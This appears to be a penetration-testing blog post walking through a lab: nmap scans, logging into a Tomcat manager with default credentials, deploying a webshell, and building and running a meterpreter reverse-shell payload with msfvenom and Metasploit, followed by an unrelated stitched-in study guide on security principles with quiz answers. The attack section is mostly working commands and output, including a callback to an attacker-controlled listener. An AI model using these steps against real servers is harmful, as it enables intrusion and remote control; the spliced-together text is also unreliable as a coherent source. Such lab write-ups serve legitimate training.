No exact OS matches for host (test conditions non-ideal).
Uptime guess: 0.103 days (since Mon Jan 17 18:01:02 2022)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT       ADDRESS
1   658.95 ms 172.16.64.101

Nmap scan report for 172.16.64.140
Host is up (0.55s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: 404 HTML Template by Colorlib
|_http-server-header: Apache/2.4.18 (Ubuntu)
MAC Address: 00:50:56:A0:94:12 (VMware)
Aggressive OS guesses: Linux 3.13 (95%), Linux 3.16 (95%), Linux 3.2 - 4.9 (95%), Linux 4.2 (95%), Linux 3.18 (95%), Linux 4.8 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.1 (95%), Linux 3.2 (95%), Linux 4.9 (95%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 0.018 days (since Mon Jan 17 20:04:08 2022)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=256 (Good luck!)
IP ID Sequence Generation: All zeros

TRACEROUTE
HOP RTT       ADDRESS
1   552.41 ms 172.16.64.140

Nmap scan report for 172.16.64.182
Host is up (0.52s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 7f:b7:1c:3d:55:b3:9d:98:58:11:17:ef:cc:af:27:67 (RSA)
|   256 5f:b9:93:e2:ec:eb:f7:08:e4:bb:82:d0:df:b9:b1:56 (ECDSA)
|_  256 db:1f:11:ad:59:c1:3f:0c:49:3d:b0:66:10:fa:57:21 (ED25519)
MAC Address: 00:50:56:A0:B3:4D (VMware)
Aggressive OS guesses: Linux 3.12 (95%), Linux 3.13 (95%), Linux 3.16 (95%), Linux 3.18 (95%), Linux 3.2 - 4.9 (95%), Linux 4.4 (95%), Linux 3.8 - 3.11 (95%), Linux 4.2 (95%), Linux 4.8 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 0.034 days (since Mon Jan 17 19:41:02 2022)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=257 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT       ADDRESS
1   519.68 ms 172.16.64.182

Nmap scan report for 172.16.64.199
Host is up (0.67s latency).
Not shown: 65498 closed tcp ports (reset), 25 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2014 12.00.2000.00; RTM
| ms-sql-ntlm-info: 
|   Target_Name: WIN10
|   NetBIOS_Domain_Name: WIN10
|   NetBIOS_Computer_Name: WIN10
|   DNS_Domain_Name: WIN10
|   DNS_Computer_Name: WIN10
|_  Product_Version: 10.0.10586
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2022-01-17T10:00:28
| Not valid after:  2052-01-17T10:00:28
| MD5:   69ea 1b59 e56e 0bda 87ba e1af f0a1 97f6
|_SHA-1: 057a fed7 d868 d64d 7d63 0f60 fd5a 21ee 31df 2889
|_ssl-date: 2022-01-17T14:58:35+00:00; -48s from scanner time.
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
49943/tcp open  ms-sql-s      Microsoft SQL Server 2014 12.00.2000
| ms-sql-ntlm-info: 
|   Target_Name: WIN10
|   NetBIOS_Domain_Name: WIN10
|   NetBIOS_Computer_Name: WIN10
|   DNS_Domain_Name: WIN10
|   DNS_Computer_Name: WIN10
|_  Product_Version: 10.0.10586
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2022-01-17T10:00:28
| Not valid after:  2052-01-17T10:00:28
| MD5:   69ea 1b59 e56e 0bda 87ba e1af f0a1 97f6
|_SHA-1: 057a fed7 d868 d64d 7d63 0f60 fd5a 21ee 31df 2889
|_ssl-date: 2022-01-17T14:58:35+00:00; -48s from scanner time.
MAC Address: 00:50:56:A0:06:62 (VMware)
Aggressive OS guesses: Microsoft Windows Vista SP1 - SP2, Windows Server 2008 SP2, or Windows 7 (96%), Microsoft Windows 7 or Windows Server 2008 R2 (94%), Microsoft Windows 10 1507 (93%), Microsoft Windows 10 1507 - 1607 (93%), Microsoft Windows Home Server 2011 (Windows Server 2008 R2) (93%), Microsoft Windows Server 2008 SP1 (93%), Microsoft Windows 7 (93%), Microsoft Windows 7 Professional (93%), Microsoft Windows 7 SP0 - SP1 or Windows Server 2008 (93%), Microsoft Windows 7 SP0 - SP1, Windows Server 2008 SP1, Windows Server 2008 R2, Windows 8, or Windows 8.1 Update 1 (93%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 0.029 days (since Mon Jan 17 19:47:24 2022)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2022-01-17T14:58:14
|_  start_date: 2022-01-17T10:00:24
| ms-sql-info: 
|   172.16.64.199:1433: 
|     Version: 
|       name: Microsoft SQL Server 2014 RTM
|       number: 12.00.2000.00
|       Product: Microsoft SQL Server 2014
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
| nbstat: NetBIOS name: WIN10, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:a0:06:62 (VMware)
| Names:
|   WIN10<00>            Flags: <unique><active>
|   WORKGROUP<00>        Flags: <group><active>
|_  WIN10<20>            Flags: <unique><active>
|_clock-skew: mean: -47s, deviation: 0s, median: -48s

TRACEROUTE
HOP RTT       ADDRESS
1   668.89 ms 172.16.64.199

Initiating SYN Stealth Scan at 20:29
Scanning 172.16.64.10 [65535 ports]
Discovered open port 22/tcp on 172.16.64.10
Completed SYN Stealth Scan at 20:29, 1.05s elapsed (65535 total ports)
Initiating Service scan at 20:29
Scanning 1 service on 172.16.64.10
Completed Service scan at 20:29, 0.08s elapsed (1 service on 1 host)
Initiating OS detection (try #1) against 172.16.64.10
NSE: Script scanning 172.16.64.10.
Initiating NSE at 20:29
Completed NSE at 20:29, 0.26s elapsed
Initiating NSE at 20:29
Completed NSE at 20:29, 0.00s elapsed
Initiating NSE at 20:29
Completed NSE at 20:29, 0.00s elapsed
Nmap scan report for 172.16.64.10
Host is up (0.00016s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.7p1 Debian 2 (protocol 2.0)
| ssh-hostkey: 
|   3072 29:d9:fa:46:f2:08:57:de:3f:1a:80:dd:ae:c7:e3:b0 (RSA)
|   256 38:f5:af:96:a9:2d:f8:62:0f:a7:fb:2a:6b:01:34:28 (ECDSA)
|_  256 8b:c2:6f:ab:e7:65:e6:9e:e4:9b:63:36:4d:4d:df:e6 (ED25519)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6.32
OS details: Linux 2.6.32
Uptime guess: 37.022 days (since Sat Dec 11 19:57:11 2021)
Network Distance: 0 hops
TCP Sequence Prediction: Difficulty=264 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
Initiating NSE at 20:29
Completed NSE at 20:29, 0.00s elapsed
Initiating NSE at 20:29
Completed NSE at 20:29, 0.00s elapsed
Initiating NSE at 20:29
Completed NSE at 20:29, 0.00s elapsed
Post-scan script results:
| ssh-hostkey: Possible duplicate hosts
| Key 256 db:1f:11:ad:59:c1:3f:0c:49:3d:b0:
|   172.16.64.101
|   172.16.64.182
| Key 256 5f:b9:93:e2:ec:eb:f7:08:e4:bb:82:
|   172.16.64.101
|   172.16.64.182
| Key 2048 7f:b7:1c:3d:55:b3:9d:98:58:11:17
|   172.16.64.101
|_  172.16.64.182
Read data files from: /usr/bin/../share/nma
OS and Service detection performed. Please g/submit/ .
Nmap done: 5 IP addresses (5 hosts up) scan
           Raw packets sent: 412252 (18.148
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
└─$ 

NOTE - So as you are able to see the above given scanning output, there are many such IP Addresses which we know as vulnerable machines. We will discuss all these machines which are Exploitable in our upcoming blog with practical. So for now we're gonna use this IP address! for exploitation or Security misconfiguration.

Step 3: TRY TO IDENTIFY AND EXPLOIT ANY TOMCAT MISCONFIGURATIONS

Nmap scan report for 172.16.64.101
Host is up (0.66s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 7f:b7:1c:3d:55:b3:9d:98:58:11:17:ef:cc:af:27:67 (RSA)
|   256 5f:b9:93:e2:ec:eb:f7:08:e4:bb:82:d0:df:b9:b1:56 (ECDSA)
|_  256 db:1f:11:ad:59:c1:3f:0c:49:3d:b0:66:10:fa:57:21 (ED25519)
8080/tcp  open  http    Apache Tomcat/Coyote JSP engine 1.1
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache2 Ubuntu Default Page: It works
| http-methods: 
|   Supported Methods: GET HEAD POST PUT DELETE OPTIONS
|_  Potentially risky methods: PUT DELETE
9080/tcp  open  http    Apache Tomcat/Coyote JSP engine 1.1
| http-methods: 
|   Supported Methods: GET HEAD POST PUT DELETE OPTIONS
|_  Potentially risky methods: PUT DELETE
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache2 Ubuntu Default Page: It works
59919/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
MAC Address: 00:50:56:A0:8C:D8 (VMware)
Aggressive OS guesses: Linux 3.13 (95%), Linux 3.16 (95%), Linux 3.2 - 4.9 (95%), Linux 4.2 (95%), Linux 3.18 (95%), Linux 4.8 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 4.9 (95%), Linux 3.12 (94%), Linux 3.8 - 3.11 (94%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 0.103 days (since Mon Jan 17 18:01:02 2022)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT       ADDRESS
1   658.95 ms 172.16.64.101

Let's go to Tomcat's default directory /manager/html that holds the admin panel. Here we will use the most common default credentials for Tomcat.

Also read Penetration Testing hired by the company Hacking Truth to perform security tests on their internal web application and machines

Default Credentials - https://github.com/whoiskumaratul/Default-Credentials-username-password/blob/main/Apache-Tomcat-Default-Passwords.txt

Note: If the credentials above don't grant you access to the admin panel, you may have previously performed numerous unsuccessful login attempts that caused an account lock. If this is the case, reset the lab (Stop button then Reset button) and immediately try the credentials above.

tomcat:s3cret

 

After doing so, we are luckily welcomed by Tomcat's manager page.

In order to exploit the server, we need to deploy a malicious web application that will give us access to the underlying operating system; this is known as a web shell. When dealing with Tomcat the malicious web shell to upload should be in .war format.

You can find below such a web shell of type war.

https://github.com/BustedSec/webshell/blob/master/webshell.war


Once we download the above war, we need to deploy it.

At the bottom of the page there is an upload form to help you with that.

After the malicious war is deployed, we can access and start the malicious application from the manager page, as follows (Press the Start button).

If the malicious application does not work out of the box, manually append "/index.jsp" to the URL, as follows.

Step 4: OBTAIN A REVERSE SHELL

In order to upgrade to a reverse shell, we need to set up a Metasploit listener and generate a suitable payload. However, the meterpreter .war payload is sometimes not functioning properly and you might get stuck at this point. So, instead do the following.


Start by creating a Metasploit listener, as follows.

# use exploit/multi/handler
# set payload linux/x64/meterpreter_reverse_tcp
# set lhost 172.16.64.10
# set lport 59919
# run 

┌──(hackerboy㉿KumarAtulJaiswal)-[~]
└─$ msfconsole -q                                                                          
[?] Would you like to init the webservice? (Not Required) [no]: 
Clearing http web data service credentials in msfconsole
Running the 'init' command for the database:
Existing database found, attempting to start it
Starting database at /home/hackerboy/.msf4/db...success
This copy of metasploit-framework is more than two weeks old.
 Consider running 'msfupdate' to update to the latest version.
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter_reverse_tcp 
payload => linux/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set lhost 172.16.64.10
lhost => 172.16.64.10
msf6 exploit(multi/handler) > set lport 59919
lport => 59919
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 172.16.64.10:59919 

Note that port 59919 is used, as it is one of ports that the remote machine listens on. This is often the case that when choosing one of used ports, we automatically can bypass a firewall, since internal infrastructure services are often listening only on firewall-allowed ports.

Also read Black Box Penetration Testing

Create a matching meterpreter-based linux executable using msfvenom, as follows.

msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=172.16.64.10 lport=59919 -f elf -o meter

┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr/pentesting-box1]
└─$ msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=172.16.64.10 lport=59919 -f elf -o meter 
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 1037680 bytes
Final size of elf file: 1037680 bytes
Saved as: meter
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr/pentesting-box1]
└─$ 

Now, let's rename the payload, by appending a war extension at the end. What will happen, is that the structure of the file will not change, however, appending the .war extension will allow us to upload it to the tomcat server - as it will think it is a deployable .war archive!


mv meter meter.war

┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr/pentesting-box1]
└─$ mv meter meter.war                                                                          
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr/pentesting-box1]
└─$ 

Try to deploy the fake .war file as you previously did with the web shell, by first going back to the /manager/html page.

It is still a valid executable file though. We can use our previously deployed web shell to rename it back to meter as was uploaded to Tomcat's default directory. This can be confirmed by viewing it via the web shell, as follows.

ls -la /var/lib/tomcat8/webapps

Let's rename meter.war through the web shell, as follows. Also, we need to make sure it is executable by using the chmod command in the end

# mv /var/lib/tomcat8/webapps/meter.war /tmp/meter
# ls /tmp/meter
# chmod +x /tmp/meter

Then we can run it, as follows.

/tmp/meter

A new meterpreter session should open.

This is an example of how the upload mechanism can be misused in order to obtain a fully functional reverse shell even security misconfiguration.

Even if you go to the conf directory and see the tomcat-users.xml then you are able to see the biggest security misconfiguration by developer...

username and password -

meterpreter > ls
Listing: /var/lib/tomcat8                                                                                                                 
=========================                                                                                                            
                                                                                                                                     
Mode             Size  Type  Last modified              Name                                                   
----             ----  ----  -------------              ----                                                   
40755/rwxr-xr-x  4096  dir   2020-03-27 13:37:26 +0530  conf                                                                      
40755/rwxr-xr-x  4096  dir   2020-03-27 12:54:20 +0530  lib                                                                       
40750/rwxr-x---  4096  dir   2022-01-18 19:29:03 +0530  logs                                                                      
40775/rwxrwxr-x  4096  dir   2022-01-18 19:48:12 +0530  webapps                                                                   
40750/rwxr-x---  4096  dir   2020-03-27 12:54:22 +0530  work

meterpreter > cd conf
meterpreter > ls
Listing: /etc/tomcat8
=====================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
40775/rwxrwxr-x   4096    dir   2020-03-27 12:54:20 +0530  Catalina
100640/rw-r-----  7294    fil   2020-03-27 12:54:20 +0530  catalina.properties
100640/rw-r-----  1577    fil   2020-03-27 12:54:20 +0530  context.xml
100640/rw-r-----  2370    fil   2020-03-27 12:54:20 +0530  logging.properties
40755/rwxr-xr-x   4096    dir   2020-03-27 12:54:20 +0530  policy.d
100640/rw-r-----  6523    fil   2020-03-27 12:54:20 +0530  server.xml
100640/rw-r-----  1773    fil   2020-03-27 13:37:26 +0530  tomcat-users.xml
100640/rw-r-----  169861  fil   2020-03-27 12:54:20 +0530  web.xml

meterpreter > pwd
/etc/tomcat8
meterpreter > 
meterpreter > cat tomcat-users.xml


<tomcat-users version="1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://tomcat.apache.org/xml" xsi:schemalocation="http://tomcat.apache.org/xml tomcat-users.xsd">



  <role rolename="tomcat">
  <role rolename="role1">
 
  <user password="s3cret" roles="manager,manager-gui,tomcat,role1" username="tomcat">


</user></role></role></tomcat-users>
meterpreter > 
meterpreter > 
meterpreter > 

Also read security misconfiguration (practical) - CLICK HERE

Thank you - 

Disclaimer

The following blog is going to outline some of the fundamental principles of information security. The frameworks used to protect data and systems to the elements of what exactly makes data secure.

The measures, frameworks and protocols discussed throughout this room all play a small part in "Defence in Depth."

Defence in Depth is the use of multiple varied layers of security to an organisation's systems and data in the hopes that multiple layers will provide redundancy in an organisation's security perimeter.

The CIA Triad

The CIA triad is an information security model that is used in consideration throughout creating a security policy. This model has an extensive background, ranging from being used in 1998.


This history is because the security of information (information security) does not start and/or end with cybersecurity, but instead, applies to scenarios like filing, record storage, etc.


Consisting of three sections: Confidentiality, Integrity and Availability (CIA), this model has quickly become an industry standard today. This model should help determine the value of data that it applies to, and in turn, the attention it needs from the business.

The CIA triad is unlike a traditional model where you have individual sections; instead, it is a continuous cycle. Whilst the three elements to the CIA triad can arguably overlap, if even just one element is not met, then the other two are rendered useless (similar to the fire triangle). If a security policy does not answer these three sections, it is seldom an effective security policy.


Whilst the three elements to the CIA triad are arguably self-explanatory, let's explore these and contextualise them into cybersecurity.

Confidentiality

This element is the protection of data from unauthorized access and misuse. Organisations will always have some form of sensitive data stored on their systems. To provide confidentiality is to protect this data from parties that it is not intended for.


There are many real-world examples for this, for example, employee records and accounting documents will be considered sensitive. Confidentiality will be provided in the sense that only HR administrators will access employee records, where vetting and tight access controls are in place. Accounting records are less valuable (and therefore less sensitive), so not as stringent access controls would be in place for these documents. Or, for example, governments using a sensitivity classification rating system (top-secret, classified, unclassified)

Integrity

The CIA triad element of integrity is the condition where information is kept accurate and consistent unless authorized changes are made. It is possible for the information to change because of careless access and use, errors in the information system, or unauthorized access and use. In the CIA triad, integrity is maintained when the information remains unchanged during storage, transmission, and usage not involving modification to the information. Steps must be taken to ensure data cannot be altered by unauthorised people (for example, in a breach of confidentiality).


Many defences to ensure integrity can be put in place. Access control and rigorous authentication can help prevent authorized users from making unauthorized changes. Hash verifications and digital signatures can help ensure that transactions are authentic and that files have not been modified or corrupted.

Availability

In order for data to be useful, it must be available and accessible by the user.

The main concern in the CIA triad is that the information should be available when authorised users need to access it.

Availability is very often a key benchmark for an organisation. For example, having 99.99% uptime on their websites or systems (this is laid out in Service Level Agreements). When a system is unavailable, it often results in damage to an organisations reputation and loss of finances. Availability is achieved through a combination of many elements, including:
 

Having reliable and well-tested hardware for their information technology servers (i.e. reputable servers)
 

Having redundant technology and services in the case of failure of the primary    

Implementing well-versed security protocols to protect technology and services from attack




1) What element of the CIA triad ensures that data cannot be altered by unauthorised people?

Ans - Integrity


2) What element of the CIA triad ensures that data is available?

Ans - Availability


3) What element of the CIA triad ensures that data is only accessed by authorised people?

Ans - confidentiality


 

Principles of Privileges

It is vital to administrate and correctly define the various levels of access to an information technology system individuals require.


The levels of access given to individuals are determined on two primary factors:

• The individual's role/function within the organisation
• The sensitivity of the information being stored on the system

Two key concepts are used to assign and manage the access rights of individuals, two key concepts are used: Privileged Identity Management (PIM) and Privileged Access Management (or PAM for short).


Initially, these two concepts can seem to overlap; however, they are different from one another. PIM is used to translate a user's role within an organisation into an access role on a system. Whereas PAM is the management of the privileges a system's access role has, amongst other things.


What is essential when discussing privilege and access controls is the principle of least privilege. Simply, users should be given the minimum amount of privileges, and only those that are absolutely necessary for them to perform their duties. Other people should be able to trust what people write to.


As we previously mentioned, PAM incorporates more than assigning access. It also encompasses enforcing security policies such as password management, auditing policies and reducing the attack surface a system faces.







1) What does the acronym "PIM" stand for?

Ans- Privileged identity management



2) What does the acronym "PAM" stand for?

Ans - Privileged Access Management



3) If you wanted to manage the privileges a system access role had, what methodology would you use?

Ans - PAM


4) If you wanted to create a system role that is based on a users role/responsibilities with an organisation, what methodology is this?

Ans - PIM

Security Models Continued

Before discussing security models further, let's recall the three elements of the CIA triad: Confidentiality, Integrity and Availability. We've previously outlined what these elements are and their importance. However, there is a formal way of achieving this.


According to a security model, any system or piece of technology storing information is called an information system, which is how we will reference systems and devices in this task.


Let's explore some popular and effective security models used to achieve the three elements of the CIA triad.

The Bell-La Padula Model

The Bell-La Padula Model is used to achieve confidentiality. This model has a few assumptions, such as an organisation's hierarchical structure it is used in, where everyone's responsibilities/roles are well-defined.


The model works by granting access to pieces of data (called objects) on a strictly need to know basis. This model uses the rule "no write down, no read up".

The Bell LaPadula Model is popular within organisations such as governmental and military. This is because members of the organisations are presumed to have already gone through a process called vetting. Vetting is a screening process where applicant's backgrounds are examined to establish the risk they pose to the organisation. Therefore, applicants who are successfully vetted are assumed to be trustworthy - which is where this model fits in.

Biba Model

The Biba model is arguably the equivalent of the Bell-La Padula model but for the integrity of the CIA triad.


This model applies the rule to objects (data) and subjects (users) that can be summarised as "no write up, no read down". This rule means that subjects can create or write content to objects at or below their level but can only read the contents of objects above the subject's level.


Let's compare some advantages and disadvantages of this model in the table below:

The Biba model is used in organisations or situations where integrity is more important than confidentiality. For example, in software development, developers may only have access to the code that is necessary for their job. They may not need access to critical pieces of information such as databases, etc.





1) What is the name of the model that uses the rule "can't read up, can read down"?

Ans - The Bell-La Padula Model



2) What is the name of the model that uses the rule "can read up, can't read down"?

Ans - the biba model



3) If you were a military, what security model would you use?

Ans - The Bell-La Padula Model



4) If you were a software developer, what security model would the company perhaps use?

Ans - the biba model

Threat Modelling & Incident Response

Threat modelling is the process of reviewing, improving, and testing the security protocols in place in an organisation's information technology infrastructure and services.


A critical stage of the threat modelling process is identifying likely threats that an application or system may face, the vulnerabilities a system or application may be vulnerable to. 

The threat modelling process is very similar to a risk assessment made in workplaces for employees and customers. The principles all return to:

• Preparation
• Identification
• Mitigations
• Review

It is, however, a complex process that needs constant review and discussion with a dedicated team. An effective threat model includes:

• Threat intelligence
• Asset identification
• Mitigation capabilities
• Risk assessment

To help with this, there are frameworks such as STRIDE (Spoofing, identity, Tampering with data, Repudiation threats, Information disclosure, Denial of Service and Elevation of privileges) and PASTA (Process for Attack Simulation and Threat Analysis) infosec never tasted so good!. Let's detail STRIDE below. STRIDE, authored by two Microsoft security researchers in 1999 is still very relevant today. STRIDE includes six main principles, which I have detailed in the table below:Know About Principles Of Security

A breach of security is known as an incident. And despite all rigorous threat models and secure system designs, incidents do happen. Actions taken to resolve and remediate the threat are known as Incident Response (IR) and are a whole career path in cybersecurity.


Incidents are classified using a rating of urgency and impact. Urgency will be determined by the type of attack faced, where the impact will be determined by the affected system and what impact that has on business operations.

An incident is responded to by a Computer Security Incident Response Team (CSIRT) which is prearranged group of employees with technical knowledge about the systems and/or current incident. To successfully solve an incident, these steps are often referred to as the six phases of Incident Response that takes place, listed in the table below:

1) What model outlines "Spoofing"?

Ans - STRIDE



2) What does the acronym "IR" stand for?

Ans - incident response



3) You are tasked with adding some measures to an application to improve the integrity of data, what STRIDE principle is this?

Ans - Tampering



4) An attacker has penetrated your organisation's security and stolen data. It is your task to return the organisation to business as usual. What incident response stage is this?

Ans - Recovery